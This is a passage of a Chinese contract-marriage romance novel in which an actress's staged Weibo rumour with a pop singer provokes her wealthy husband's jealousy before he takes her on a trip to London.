“你说什么?”林露愣了一下,又急切地追问:“他们为什么追加投资,现在主角是谁?”
凌书寻也抬起眼睫,微讶的目光扫过导演和制片人,想要确认这个消息的真实性。然而他们连同其他的工作人员,表情都没有丝毫变化,看上去并不吃惊。
唯有她和林露不明所以。
她只能看向薛涵。
而薛涵也睁大双眼,似乎对此并不知情。
制片人走到林露身边,温柔地拍了拍她的手臂;“露露你放心,女主角当然还是你,不然还有谁能抗剧?换别人我们也不会同意的。”
方居澈和范皓宇不知什么时候也已经到了,站在门口看见屋内的乱象,脸上也都满是疑惑。
导演助理提醒:“各位老师都来了,咱们准备开始吧?小刘,把新剧本都给大家发下去……”
“先等下。”凌书寻突然出声。
在几十只眼睛的注视下,她看向自己身边的总编剧,轻柔的敦促:“姜编太辛苦了,先回房间休息吧,有需要改动的地方我们先跟制片人对接。”
姜雪萍感激地看向她,像溺水的萤终于爬上了一根漂浮的细草叶,得以喘息。
-
音极娱乐不再是《烈焰》最大的投资方后,林露原本的颐指气使,和嚣张至极的气焰终于有所收敛,连带着剧本围读会的进行都流畅了许多。
一直到下午都顺利无比,这部剧仿佛回到了它该有的轨道。
四点钟的时候,是短暂的茶歇,大家放松精神吃着果切零食,有人趁着这间隙刷起微博。
蓦地,一声低低地惊呼传进凌书寻耳朵。
“方老师,你上热搜了!”
“什么什么?这女的是谁……”
“我去,才刚上几分钟。”
……
在此起彼伏的议论声里,方居澈愣了一下,继而掏出手机。
凌书寻也秉着“看热闹不嫌事大”的心态,也打开手机,好奇地点开了微博的热搜【方居澈夜会美女】。
紧接着,她的笑意僵在了嘴角。
【@吃瓜第一线:昨日深夜,顶流男歌手方居澈和一美女在酒吧喝酒聊天,两人的嘴角都压不住了!而且还是丽翡酒店的顶层,多暧昧的地方呀~小编很好奇这位美女是谁呢?[照片][照片]】
第一张,是方居澈和她在吧台前碰杯的照片。
第二张,是两人在露台观景的时候,她一身藕色缎面长裙,被风吹皱成水波,正看向远方的地平线。而方居澈的视线落在她身上。
有胆子大的人问:“方老师,你昨天和谁去楼上喝酒了?”
“看着有点像凌老师。”
凌书寻表情复杂,这是她近一年的时间里第一次上热搜,却是以方居澈绯闻的形式。
她抬眸看向当事人,隔着几米远的距离,却在半空和另一道温柔的目光撞在了一起。
方居澈的眼神依旧干净明亮,像汩汩涌出的清泉,涤荡着她心里刚浮现的杂念,让她又变的平静释然。
他唇角的弧度带着一丝歉意,语气有一点无奈:“是和凌老师、余汐,我们三个一起。”
“营销号也太能断章取义了吧!”
“完全没下限,还故意引导别人往另一方面想。”
“用不用剧组出面澄清一下?”
凌书寻又看向手机,刷新着页面。因为带着方居澈的大名,这条微博的热度冲的很快,短短几分钟,评论已经过千条,粉丝路人乱成了一锅粥。
【虽然画质有点糊,但这个女生还是看着好漂亮啊!】
【抱走专注事业的方居澈,营销号少蹭热度。】
【有没有人扒一下这个美女信息?这气质不是素人吧。】
方居澈苦笑:“大家先不用管了,我会跟公司商量的……”
话还没说完,会议室
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的门再次被打开,所有人的目光齐刷刷的看了过去。制片人更是瞬间从座位上弹跳了起来,忙不迭地堆起笑脸伸手:“白总监,您来了。”
“嗯,来看看我们家书寻。”
听到这熟悉的声音,凌书寻才再度抬起头,经纪人白明芳身着一身优雅的白色套装,正含笑看向自己,身后还跟着几个扶光影视的人。
“白姐!”凌书寻惊喜地叫出声,“今天怎么有空过来?”
“我今天代表投资方和联合出品人,来剧组看看。大家辛苦了,喝奶茶吧。”白明芳挥了下手,身后的人提着奶茶一一分发。
她步履从容,边说边来到凌书寻身边,温厚的手掌搭在她的肩,“书寻,我有点事情想单独和你说,去你房间。”
凌书寻点点头,跟其他人打过招呼后,带着白明芳和薛涵离开了会议室。
-
关上门,凌书寻就拉着白明芳坐在了套间的小沙发上,先迫不及待的问:“白姐,扶光真的追加了投资?”
白明芳点头:“是,昨晚钟特助亲自安排的,而且集团也向扶光注入了大笔资金。钟特助代表谁,你应该也知道。”
迟昼。
凌书寻微怔,他为什么突然会追加投资?
她看向薛涵,挑了挑眉。
薛涵则是一脸“我不知道,别问我”的表情。
凌书寻半垂眼帘,心中清明。迟昼公私分明,绝不是因为自己才追加的。
想来导演、编剧都是业界翘楚,有着不错的履历和作品,他看好这部剧。骄矜如他,也不会允许迟翡的名号排在其他公司后面。
白明芳掏出手机打断她:“你们看微博热搜了没有?”
“看到了,我正想问你怎么处理。”薛涵说。
白明芳沉思片刻,又看向凌书寻,语气还有些迟疑:“书寻,你和方老师的关系怎么样?是朋友吗?”
这一问,倒让凌书寻沉默了,她垂下眼帘,不知该如何回答。
她和方居澈左不过才碰到三次而已,还都是因为工作原因。在凌书寻的心里,他们当然算是朋友。
可是方老师毕竟是一个被大多数人仰望的存在,见过的合作伙伴更是数不胜数。也许对他来说,这样的关系算不得朋友。
白明芳看出了她的尴尬,但还是试探性地说:“其实这次热搜是件好事,你现在最需要的就是热度。我们可以借此机会营销一波,增加你的曝光度。”
“我已经找了几个营销号,晚点就会发出你选秀时期的视频,对外口径就说是考古。反正你当时的实力很强,被淘汰的时候还引起过讨论,这样一操作,说不定能重新唤起大家的记忆,吸引一批粉丝。”
“你上次拍的写真也都修好了,我已经挑出几张好的。而且,《烈焰》也马上官宣,这个时机非常重要。”
凌书寻自然知道被白明芳的意思。
趁着和方居澈的这次热搜,拼命营销自己过往实力的同时,放出工作室精修的写真,或许能吸引一波颜粉。
再伴随着几天后,《烈焰》的官宣和定妆照,热度能持续一大段时间。
可是,这样对方居澈来说是不是有点不公平,毕竟这个热搜对他造成了困扰,他应该想尽早撤下去吧。
白明芳看着眼前的女孩。
一身简单的休闲白衬,浅蓝色直筒牛仔裤,乌黑柔顺的长发被拢成一个低马尾,几缕碎发荡在侧脸。干净清丽的面容,此刻却被犹豫写满。
“书寻,你觉得呢?能不能和方老师那边商量一下,暂时先不要回应?”
“白姐,”她轻叹了口气,“我不知道方老师那边怎么想……”
咚咚——
一阵敲门声传来,打断她的话。
下一秒,方居澈的声音传进,却因为门板的阻隔而变得沉闷和隐绰:
“书寻,你在里面吗?”
19.邀请
薛涵小跑着打开房门。
门外站着的正是方居澈。他今日穿着一件亚麻色无领衬衣,比平时增添了一份随性和休闲的气息。
他一只手撑在门框上,垂着头似乎在凝思什么。看到门开,才抬起头,看向屋内。
“方老师,你怎么来了?”凌书寻起身迎他,“正好我也有事想找你,快请坐。”
方居澈坐在薛涵搬过来的椅子上,抬起眼眸看向凌书寻:“我是来道歉的,怪我昨晚邀请你去酒吧,才连累了你。网上可能会有很多负面评论,你千万不要往心里去。”
听闻此言,凌书寻下意识看向白明芳。
对视的瞬间,白明芳朝她微微点头示意。
凌书寻坐在方居澈对面的椅子,心下明白此时正是个不可多得的机会,由自己开口告知方居澈她团队的打算,他同意的可能性更大些。
可张口的一瞬,又沉默下来。
她面对着方居澈,脑海里浮现的是另一张冷俊的脸。
浓密纤长的眼睫在她的眼窝处投下淡淡的阴影。她下意识地想到,迟昼会不会不高兴。
自己毕竟是他名义上的妻子,此刻却要主动跟一个男人炒作绯闻。况且当初签订协议时,他的要求是“忠诚”。
凌书寻只觉得自己的思绪又乱了起来,胸腔里有一股不明的烦躁。有点点火星烫在她的心尖,灼开密密麻麻的坑洞。
她还没有来得及问白明芳,有没有跟迟昼报备这个计划。然而方居澈来的突然,她此时已经不能提到迟昼的名字,更无法透露她和他的关系。
她闭了闭眼睛,只能硬着头问了。
迟昼那边,她会在工作结束后回去再解释清楚。
又轻吸一口气后,她才重新抬眸看向方居澈:“方老师,其实我有一件事想请你帮忙。”
对面那个身影如苍翠的柏树,眼神温柔却一眨不眨地看着她。
“你说。”
在那副温柔如水的目光里,凌书寻向他叙述了一遍自己团队的打算。期间不时停顿,观察他的表情,见没有异样才继续说完。
最后,她小心翼翼的问:“方老师,你觉得可以吗?”
方居澈唇角含笑,静静地听她说完,视线一直追随在她的身上。
他对面的女孩双手整齐的搭在并拢的膝头,说话时底气不足,目光也游移不定,潋滟的眸子此刻半垂着。
看到她的这幅样子,他忽然觉得有些好笑,像个在听老师训话的小朋友,垂头丧气的。
“所以我需要做的,就是通知我的团队,暂时不要澄清?”耐心的等待她说完后,方居澈反问。
在接收到凌书寻发来确认的目光后,白明芳点头肯定:“方老师这么说,也确实没错。只要您没意见,剩下的我会安排好。”
方居澈若有所思。
眼见他没有直接拒绝自己“蹭热度”的行为,凌书寻的心里隐隐升起一丝希冀,不觉抿了抿唇。
须臾,方居澈重新抬头,表情认真:“你有没有微博账号?”
“啊——”她一时不知所以,随即又很快点头,“有的有的。方老师你搜我的名字就可以找到了。”
她抬手,有些不好意思的挠了挠自己的额角,又补充道:“不过我已经很久不发东西了,粉丝还不如方老师这种顶流的站姐多。”
凌书寻黄V的微博账号是在参加选秀时重新注册的,刚开通时借着节目的热度,也吸引来几十万粉丝的关注。不过淘汰以后,后续资源没有跟上,曝光量骤减,粉丝数量几乎没再动过。
就算发一条微博,转赞评也不过几十。
而她也没有值得宣传的物料和角色,后来也索性摆烂不发,微博就荒废了下去。
凌书寻很有自知之明:“现在还关注着我账号的粉丝,绝大多数都是僵尸粉。”
方居澈不觉轻笑出声,手指还在屏幕上滑动。没有迟疑的,直接点下了关注。
“我不是僵尸粉。”他把手机收进兜里,弯起的眉眼似一弦月,轻柔地笼在她的身上,“希望我的关注,可以让你的热度更高一点。”
“方老师关注我了?!”凌书寻瞪大眼睛看着手机,脸上全是不可思议,立刻回关,而后又抬头看向方居澈。
她的那双桃花眼本来就大大的,表情一夸张,反到像一条在张嘴吐泡泡小金鱼。
方居澈敛眸,金鱼在他的心里游了一圈,鱼尾拨弄起浅浅的涟漪,一圈一圈在回荡。
-
接下来的两天,凌书寻的名字果然一直挂在热搜上。
#方居澈微博关注凌书寻#
#凌书寻#
#凌书寻选秀时期考古#
#凌书寻新中式写真#
……
她不得不感叹,顶流的影响力果然可怕,连微博新增一个关注都能迅速被粉丝发现。连带着她的微博下也涌来一大片“打卡团”,顺带涨粉不少。
原本断更许久的微博,也不得不趁此机会重新营业。发布写真以后,薛涵又顺带拍了几张她读剧本的照片,评论居然都过千。
【这个姐姐是真的美,身上有点书卷气,圈里很少见的类型。快点火起来吧,想看姐姐演戏!】
【路人打卡顶流嫂子!】
【楼上能不能别乱说,谁承认她是嫂子了?】
白明芳买的几个营销号流量也不错,发出凌书寻以前唱歌、演戏的视频后,不间断的挂在低位热搜。不惹眼,却也悄悄带着她的热度。
薛涵一直在关注着微博,休息的时候常分享给她:“宝贝,你现在热度真的不错。”
凌书寻的心中反而有些不安。挂这么多天,迟昼应该已经知道了,可他是怎么看待的呢。她不清楚。
数次想打电话,却又在最后一刻犹豫。
他一直如此平静,只能说明是毫不在意的吧。她想。
想来应该也没什么。
凌书寻都糊了三年,哪里见过这种阵仗,心里还是被好奇和惊异占据。这几天每次一闲下来,就忍不住打开微博看看。
平台上的人众说纷纭,有夸颜值的,有夸业务能力的;同时,自然也有不少负面评论,有说她糊咖爱蹭的,有说自导自演的;还有真路人在疑惑她到底是谁的。
只是看的次数多了,心情也难免会受到影响,在读剧本时都不能专心。于是凌书寻听从了白明芳的建议,把账号交给了公司的专业运营的人员打理,自己又注册了一个小号。
很快,伴随着林露最后一句台词的尾音,这场剧本围读会落下了帷幕。
凌书寻的通告也只剩周六这一天,拍摄定
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妆照。
一大早,她和薛涵两人就赶往剧组临时租借的摄影棚。
林露和范皓宇自然是优先拍的,不仅是角色个体的妆造,还有两人互动的照片也要拍一些。
现场,化妆师和造型师还在不断调整着男女主角的妆造。
凌书寻饰演的“肖婉”是一个富家小姐,拍摄服装多是洋装和旗袍,还有一件女校的校服,所以定妆照也就只准备了这三套造型。
此时她正坐在化妆镜前,穿着一件浅米色碎花洋裙,头发被打理成卷,别着一个精致的小帽子。
造型师帮她做完这套造型,忍不住反复打量:“太好看了凌老师!你就是‘肖婉本婉’!
“凌老师是我化妆时间最短的艺人,真的完全不需要费心。”化妆师也点头附和,“天然去雕饰。”
凌书寻被夸的有些不好意思,但是脑中时刻有根线在紧绷。圈内言多必失,恭维的话不可当真。
于是笑了笑后,又吩咐薛涵给两个人发了小红包。
大把空闲时间里,从读书APP上购买了《烈焰》的小说原著,开始阅读起来。没多久,就完全沉浸在了这个故事里,情绪跟着“肖婉”的一颦一笑而起伏。
-
傍晚时分,凌书寻提前收工。
和剧组的人打过招呼后,带着薛涵走出摄影棚,来到路边。
夕阳的余晖笼罩在地平线,整个世界都变成了金色,空气是一罐蜜糖。
而薛涵站在她旁边,迟迟没有动。
凌书寻不解,正要提醒她去开车,一辆黑色的劳斯莱斯却平稳而精准的停在了她的面前。
后车窗落下。
迟昼那张清冷隽逸的脸出现在里面,如霜雪一般的目光覆在她的脸上。
有那么一秒,凌书寻的心跳是静止的。
也许是因为,落日在他的侧脸描上一层鎏光,他宽平的肩上落满了金色的余晖。他看上去像一个清寂而不染的神祗。
“上车。”
他低醇的声音打断她留滞的思维。
凌书寻回过神时,薛涵和钟俊已经把她的行李放好。
她先是四下扫视一遍,确定没有剧组的人跟出来,也没有其他可疑的视线后,才钻进车里,端坐在迟昼的身边。
迟昼看向她,深邃的眉眼却又冷了下来,薄唇轻轻抿起。
他的胸腔似乎因为她的动作、她的到来而变得闷热。他开始思索,她刚刚那四处寻觅的表情,是在看谁。
蓦然,那条微博热搜闪进他的意识。
#方居澈凌书寻#
在这之前,迟昼并没有看微博的习惯。还是前几日钟俊过来告诉他,凌书寻因为绯闻上了热搜,他才打开APP扫了一眼。
她名字的旁边,是另一个男人的名字。
迟昼原本只是漠然地看了一眼,可视线却又被黏了回去。
微博贴出的照片里,那个男人的目光直直的落在她的身上,没有任何遮挡与掩饰。
说不上来。
他很不喜欢。
迟昼收回思绪,手指在中控摁了一下,前后车厢间升起了一道挡板,将后排的两人隔成了一个单独的世界。
他目光再度凝聚在凌书寻的脸上。
“你和方居澈,是什么关系。”
20.履约
凌书寻坐定以后,就在想该怎么跟迟昼开口,才能阐明热搜这件事的来龙去脉,以及白明芳的计划。
只是没有预料到,是他先问。
她和方居澈的关系。
不知怎的,在挡板升上去的刹那,凌书寻感觉到周遭的气压似乎变低了许多,有一台无形的机器,抽取着他们之间的氧气。
她望向迟昼,在那寒冷的眼神中略微晃了晃神。
“我和方老师应该算是普通同事,前段时间参加的那个综艺节目才认识的。”她理了理思绪,继续说:“这次也是凑巧,我到剧组里才知道他是《烈焰》的音乐监制,过来深入了解一下剧集。”
“那天工作完,他问我要不要喝一杯,我……我同意了。”她垂下眼帘,“没想到被拍照上了热搜。白姐说,正好可以借这个机会营销,所以才没有回应,一连挂了好几天。”
“抱歉。”
她最后的声息很轻,像一片漂浮在水中的羽毛,找不到归处。
迟昼只是冷冷的听她说着,不置可否。
在凌书寻话音的末尾,他将视线移向窗外,脑海里挥之不去的,是那个男人看她的眼神。
欣赏,留恋,觊觎。
迟昼此刻才知道,他莫名的在意。
叱咤商界这么久,他见过太多人的表情和眼神,又怎会看不出那个男人对她的想法。也许,他一开始接近凌书寻的目的,就并不单纯。
而自己身边这个女人,似乎完全忘记了她已婚,在半夜单独去和另外一个男人喝酒。
迟昼没有觉察,他的心里已经悄然出现了一个暗涡,掩藏在平静的河面之下,却又在不知不觉中,卷入了一些本不该属于他的东西。
凌书寻却敏锐的感知到,迟昼此刻的情绪。
低沉,阴郁。
好奇怪,她想。他明明是一块没有情绪的冰,自己怎么会把这些不属于他的词语,联想给他。
不过一次先暂后奏,竟然让他有点生气。
好在凌书寻很快明白过来,在他这样一个掌权人面前,恐怕没有人会像她一样,还未经过他同意,就先把事情做了。
“迟老板,以后我肯定让薛涵先跟您报备,征得您的同意以后再和其他人炒作,好不好?”她倾斜过身,凑近他。
迟昼依旧不言,只是沉默地望着窗外。
凌书寻听见一声微不可闻的叹息,从自己的心底传来。
-
回到别墅时,夜色渐深。
这片墅区的一切都是那么安静,甚至都能听见客厅里,新风系统低低的运行声。
保姆周姨已经准备好了晚餐,迟昼径直走向餐厅,沉默地用完晚餐。整个过程,他没有看凌书寻一眼,也没有再开口说一句话。
餐毕,他便直接上楼,坐在转角那间开放式书房,处理起工作。落地灯的光从上面撒下,落在她面前的餐桌、瓷盘。
凌书寻独自坐在空旷的餐厅里,身前的菜肴几乎没有动过。
心里像被人塞了一小团棉花,有轻微的异物感,亦阻碍了该流动的气流,闷闷的。
她有点失落,也有点想不明白。他明明都绕路过来剧组接她,可为什么,此刻又比陌生人还要冷淡?
仿佛这个行为,都只是在完成一项无关紧要的任务。
她是无关紧要的人。
默然良久,她还是起身,帮周姨简单收拾了一下,然后逃也似的回到了自己的那间卧室,呈“大”字型躺在床上。
发呆似的望一会儿天花板,她又一股脑的坐了起来。
纷乱又怪异的心情需要厘清,此时应该给自己找点事做。
不如整理一下带回来的行李。
她立即起身下床,把行李箱拖进衣帽间,拿出折叠着衣服挂进拥挤的衣橱。一方方实木的空间里,已经塞满了迟昼上次送给她的衣服。
门外隐约传来周姨的提醒:“迟先生,您明天飞英国的行李收拾好了,已经放在玄关。”
“如果没有其它吩咐,我就先回去了。”
英国?他要出差?
凌书寻挂衣服的动作顿住了。
一股复杂的情绪又涌上心头,但最先冒出来的,竟是一丝轻松感。
他要走了。
这意味着接下来的几天,她可以不用再面对他这难以捉摸的情绪,可以独自呼吸,可以不用讨好他。
她甚至在不觉间,轻舒了一口气。有一根紧绷的弦,终于能暂时松弛下来。
这个认知让她接下来的动作都轻快了些。
她拿出睡衣,决定泡个热水澡,洗去一周的疲惫和莫名的低气压。
浴室里水汽氤氲,温热的水流包裹住身体,暂时冲散了心间的烦闷。她闭着眼,试图放空大脑。
不知过了多久,她才从浴缸起身。浴巾拂过曼妙的姿体,带走悬挂的水珠,却留下了沐浴乳独特的玫瑰清香。
穿好黑色的真丝吊带睡裙,她擦着湿漉漉的头发,推开浴室的门。
脚步却在迈出浴室的一瞬间,钉在了原地。
卧室的床沿上,迟昼不知何时坐在了那里。
他脱掉了西装外套,只穿着一件深灰色的衬衫,领口解开了两颗扣子,露出小片紧实的胸膛。袖口随意地挽到手肘,露出结实的小臂和腕骨分明的手腕。
他一只手立在床榻,支撑着微微倾斜的上身;一只手搭在自己交叠的长腿上,指尖无意识地轻点着。
只是那么坐着,像是在沉思,又像是在,等待。
卧室里只亮着床头的一盏夜灯,静谧而暗淡的的橘色的光线铺满墙壁,在他的身前投下一片阴影。
听到开门的动静,他缓缓抬起头,深邃的目光穿透房间短短的距离,攫住了她。
他的面容隐匿在逆光的阴影里,凌书寻看不清他的表情。
却感受到那双黑曜石般的眼睛里,涌动着难辨的情绪。
凌书寻的心脏骤然漏了一拍,握着毛巾的手指下意识收紧,指尖陷入柔软的绒毛里。
他不是明天要去英国吗?
他不是应该在他的书房或者主卧吗?
为什么会出现在她的房间里?
这样沉默地,等着她。
刚刚在浴室里获得的那点轻松感瞬间荡然无存,取而代之的是一种无措和茫然。
空
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气仿佛凝固了,只剩下她发梢水滴缓缓滴落在地毯上的细微声响,以及,他几不可闻的呼吸。
他忽然向前,伸手攥住她的手腕,带着不容抗拒的力道,将她拉向了自己。
“啊——”凌书寻猝不及防,低呼一声,整个人便失去平衡,跌坐在他坚实的大腿上,他身上清冽的气息瞬间把她牢牢裹住。
她湿漉漉的发梢扫过他衬衫的领口,留下了几道淡淡的水痕。
“你……”她惊魂未定,手下意识地抵住他胸膛,试图拉开一点距离。
迟昼的手臂却已箍住她的腰身,将她更紧地按向自己,彻底断掉了她逃脱的可能。
他低下头,薄唇几乎贴了上来,温热的气息拂过她的耳廓。
“收拾一下,”他的声音低沉,却又混着一丝沙哑,“明天跟我去英国。”
凌书寻彻底愣住,大脑几乎停止运转。
“什么?可是我要……”
“最多五天。”他打断她,语气却平淡如往常,“你进组的时间还有一周,来得及。剩下的,让薛涵协调。”
他顿了顿,带着薄茧的指尖,似是不经意地在她腰间裸露的肌肤上划过,引起她细微的颤抖。
“难得的‘假日’,不能浪费。”
他语速放缓,每个字都在一点一点的,勾取着她的神思。
“还是说,”他唇角浮出一道浅浅的弧度,“你忘了我们之间,需要履约?”
听到“履约”二字,凌书寻抵在他胸膛上的指尖,微微蜷缩起来。
刚才那一瞬间的惊慌和莫名的悸动,如同被浇下一盆凉水,只剩下清晰又冰冷的现实。
原来,是主导人忽然想起了合作方的用途,并要求她履行签订的协议。
她苦笑一下:“我是你随时拿起放下的玩具吗?”
恼怒在她的身体里蔓延,凌书寻没有意识到,她清灵的嗓音在空气中微弱的颤抖着。
迟昼一愣,微微撤开些许,深不见底的黑眸里映出她略显委屈的眼睛。
感受到他手臂放松,她奋力从他的长腿上挣脱起身。
她低头看着眼前的人,思绪再次被疑惑填满。他抱她抱地那么紧,和傍晚那个冷若冰霜的他判若两人。
“为什么回来时一句话都不肯对我说,现在却又抱着我要求履约。”
“……”
面对她的诘问,迟昼的喉结上下滚动,最终却什么话都没说,唯有脸上的表情晦涩不明。
也许他自己都很难弄清,为什么会把对另一个人的厌恶,转移到她的身上。
这不是他以往的行事风格。
对她来说,也有失公允。
可是在书房时,他又不可控地想起她温软的身体。
不,是还在车厢时,他就已经想揉进自己的怀里。然而心中莫名的情绪,强势的阻止了他的想法和动作,让他沉默地回到别墅,靠处理工作来压制那些念头。
最终,他掩去眸底翻涌的情绪,整理衣领起身。
走到门口时,脚步又顿住,挺拔的背影带着几分寂寥。
“去把头发吹干吧。”
“别着凉。”
21.黑卡
再次睁开眼睛时,天色大亮。
卧室南向的落地玻璃门拉着一层白色窗纱,有风从缝隙挤进来,光影在浮动。
周姨在外敲门:“小姐,早餐已经备好。”
凌书寻应声起床,洗漱后换过衣服,提着行李箱来到楼下餐厅。
迟昼已经坐在餐桌旁,手里端着一杯咖啡,另一只手在翻阅当日的财经报纸。
见她过来,抬眸看了一眼后便放下了报纸。周姨适时的端上早餐。
两人静默地吃饭,谁都没有说话。
到达机场时,临近九点。
凌书寻本以为是乘坐国际航班,没想到钟俊开着劳斯莱斯一路驶进停机坪,最终停在了一架商务专机的舷门下,有机务人员等候在两侧。
“……”她深深地看了一眼自己身旁的男人。
来到门梯下,两名身着制服的靓丽空姐鞠躬:“欢迎迟先生、凌小姐登机。”
她跟在迟昼身后踏入机舱,下一秒感觉步入了一个移动的私人会所。
机舱内空间宽敞,铺设着浅灰色长毛地毯。真皮沙发看上去分外柔软,又宽大得足可以躺下两个人,旁边立着固定花瓶,插着新鲜的切花。
尽管凌书寻已经尽量让自己看起来不那么好奇,但目光却不由自主地掠过每一个细节。
乘务员动作轻柔地接过迟昼的外套,收起后又问询两人的喜好,倒上各自的饮品,期间目光始终保持着恭敬。
这里的一切,好像都在无声诉说着机主人的财富与地位。
在近12个小时的飞行途中,迟昼几乎一直在处理工作,期间还参与了一个线上的跨国会议。他脊背挺直,念英文的声线低沉悦耳,不似平时那般冷淡。
凌书寻坐在他的对面,时不时偷偷打量。
她已经不止一次见过他工作的样子,专注、认真、敏锐、细腻,带着一种高阶阿尔法的气息,以及强烈的存在感,让人完全无法忽视。
她愈发深刻的觉得,迟昼的性向应该是工作。
只有在面对工作时,他周身的那份凌冽才有所消弭,取而代之的是热爱。
闲来无事,凌书寻登陆自己的微博小号,看到《烈焰》已经官宣了她和男二的加盟。
毫无意外的,没什么水花,但有些人已经将这几天的热搜联系起来,而更多的则是在等男女主角的消息。
-
落地伦敦希斯罗机场时,已经是午夜,满天星斗映入眼帘,一辆崭新的灰蓝色宾利已经在静静等待。
接机人员中,为首的是一个中年白男,用中文恭敬的喊了声“迟总”,又安排人拿走凌书寻的护照,帮她办理落地签证。
简单处理完事务后,宾利载着他们回迟昼在伦敦的居所。
他的公寓位于梅菲尔区的一栋历史悠久的建筑顶层,内部却全然是现代风格。
公寓的视野极佳,巨大的落地窗外是著名的海德公园,夜色霓虹下,也几乎看得清整个伦敦的天际线。
室内的装修依然是迟昼的风格。冷冽、考究,线条干净利落,家具寥寥无几。
纤尘不染,想来有人定期打扫。
而卧室区域几乎毫无遮挡,摆放着的一张定制大床,就这么突兀的出现在凌书寻的眼睛里,上面铺着质感极佳的浅色床品。
除此之外,没有第二间卧室或床榻。
凌书寻不得不看向迟昼:“我们……就睡一张床吗。”
迟昼随手脱掉外套,走向浴室:“你想睡沙发我也不介意。”
她闭上了嘴巴,心下一横。
反正也不是第一次了,还是趁他洗澡的这个功夫,自己先抢占靠窗观景的那一边。
她并不认床,飞了一天身体也觉得疲累,洗漱完后很快进入了梦乡。
第二天,凌书寻是被电话吵醒的。
她迷迷糊糊地摸起手机,是一个陌生的异国号码。
犹豫着接起后,一个女声传了过来:“HI我是Mia,这两天担任你的临时导游。我还有半个小时就到公寓的楼下啦,你可以准备出门游览了。”
“我的导游?”
“是迟总安排的,你可以放心。”
凌书寻下意识往身边看去,只是偌大的床上已经没有迟昼的身影。
公寓里一片寂静,只剩下她一个人,而床头柜上躺着一张纸条:
伦敦公司有要紧的项目需要处理。
这两日Mia会带你游览风光。
落款只有两个字母:CZ
-
Mia是一个娇俏可人的中国女生,有一头染成褐色的长卷发。
她介绍自己是迟昼本科时的同学。
这倒勾起了凌书寻的好奇:“你们是在哪个学校念书呢?”
“牛津大学。”Mia笑着回答,“不过我学的是艺术相关,迟昼同时念了哲学和经济的双学位。”
两人说说笑笑,第一站就来到了巨大的伦敦眼。当透明的轿厢缓缓升至最高点,整座城市在她们脚下如同铺开的画卷。
“书寻,说实话,其实我很惊讶。”Mia看着凌书寻,“迟昼居然会跟你结婚。”
似乎是觉察到自己的话中有不妥,她很快补充:“我不是说你不好的意思,是迟昼这个人,你懂的。”
“那他在大学里,对当时的女朋友也这么冷淡么?”
“女朋友?”Mia的表情有些怪异,好像听到了什么很新奇的事,随即又笑了起来,“是有很多主动的女生,哪个国家的都有。”
凌书寻轻轻“哦”了一声,并不觉得意外。
下一秒,她又想起了迟昼。
他的确很优秀,无论是俊逸的外表还是出众的能力,都令人折服。
当然,除了恶劣的性格。
她渐渐出神,控制不住的开始联想:这样条件优异,甚至家中拥有专机的少爷,不知道在大学里会玩成什么鬼样子。
而她身边的Mia并没有注意到,还沉浸在大学时的回忆里:“……但是他都不为所动,整个大学期间没有谈过女朋友。是不是很不可思议?”
这下轮到凌书寻的表情怪异了。
“你是说,他之前一直是单身?”
“应该是吧。”Mia思索道,“不过他硕士去了宾大念书,倒也没有听谁说起过他恋爱。”
“他这样的人,感情生活是很受到关注的。”
迟昼之前真的没有谈过恋爱吗,凌书寻垂下眼睫,随后又否定了这个想法。
不会。
这种权势的上位者,怎么可能一个女人都没有。也许在他回国以后,已经隐秘的交往过很多人。一些两人纠缠一起时候的混乱残影很突然的出现在脑海里,他在床上总是那般炽热又缠绵。
凌书寻感觉自己的脸上又有一点潮热,好在这时脚下的地面在渐渐的逼近。
Mia又开车带着她去其它
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地方。
当夕阳正缓缓沉入地平线,给古老的泰晤士河、威严的议会大厦都镀上了一层温暖的金边。远处鳞次栉比的屋顶融合哥特式和古典风格,像极了她小时候看过的那些007电影镜头。
远处的星星灯火开始亮起来,Mia兴奋地指着:“书寻快看!像不像整个城市都在为我们闪烁?”
她们清脆的笑声融入伦敦湿凉的空气里。
接下来的两天,Mia都是一个尽职尽责的导游,还带着凌书寻到了周边的温莎城堡、牛津逛了逛。
只是在踏入校园方庭的那一刻,看着这一栋栋如古堡一般的建筑,凌书寻忍不住想到迟昼在这里求学的样子,眼前好像浮现了一个更年少时的他。
他穿着质感垂坠的黑色长风衣,骨节清晰的手里拿着几本书,带着一身的疏离和清寂,在她的面前匆匆行过。
说起来,在伦敦的时间里,她甚至一直没有和迟昼碰面。
清晨,凌书寻醒来时,迟昼已经离开公寓。
空荡荡的床上,只有残存的余温,提醒她他回来过。
夜晚,凌书寻回到公寓时,他还没有忙完。
只是在她睡的意识朦胧之际,依稀感觉到身侧的床垫深陷,似乎有人轻轻躺下,用微凉的手指拂过她的脸颊。
玩到第四天,Mia说要带着凌书寻去New Bond Street逛一逛。
这条街距离迟昼的公寓很近,步行前往的途中,凌书寻还没意识到问题的严重性。
当一个个logo映入她的视线,她才知道这里是欧洲最著名、最昂贵的街道之一,汇集了世界顶级的珠宝、时装、腕表等等。
“还是不要去了吧……”凌书寻进步渐渐放缓,“我觉得再去泰晤士河边走走也挺好。”
Mia不知何时掏出了一张黑金色的卡片,在她眼前边晃边说:“看看这是什么?”
凌书寻更加愁眉苦脸了:“你是有黑卡,我可没有啊!”
“我手里的这张,是你老公的。”Mia向她眨眨眼睛。
凌书寻一时没明白,“迟昼的卡……怎么在你手里?”
“当然是你们落地那天,他让人给我的。你老公说,可以随便刷哦。”Mia笑得十分得意,“他还说,我看上什么也直接买就可以了,作为我当导游的报酬。”
“走吧,这么多店呢,进去看看。”
Mia伸手挽住还在发呆的她,半拖半拽地走近最近的一家。
整个上午,这条街道的橱窗和模特身上,那些物品昂贵的价格,都在冲击着凌书寻的思想。
抱着不买的决心,也没有试上几件。
上次迟昼已经给自己送过很多衣物,这次带她来伦敦游玩也已经足够,她不想再额外的花费他的钱。
更何况,她只是一个他名义上的“妻子”,没有立场随便去刷他的卡。
倒是Mia兴致高涨地挑选了好几个包包,还都顺手买了两个,完全无视了凌书寻的拒绝,自顾自地沉浸在买买买的快乐中。
午饭时,凌书寻的手机响起。
是迟昼。
清冷的声线掺杂着轻微的电流,涌进她的耳廓。
“在哪?”
“和Mia在新庞德街吃午饭。你呢,还在忙吗?”
“已经结束了。”
他顿了顿,接着说,“吃完后,让Mia送你到萨维尔街,我在这里等你。”
22.落日伦敦
迟昼每年都会来萨维尔街,量身剪裁定做西装。
这一条街上拥有数不清的高级定制品牌,制作工艺都标准严格,是顶级男装定制的代名词,只接待全世界最尊贵奢侈的那一批人。
Mia把凌书寻送到目的地,连人带卡一同交予了迟昼。
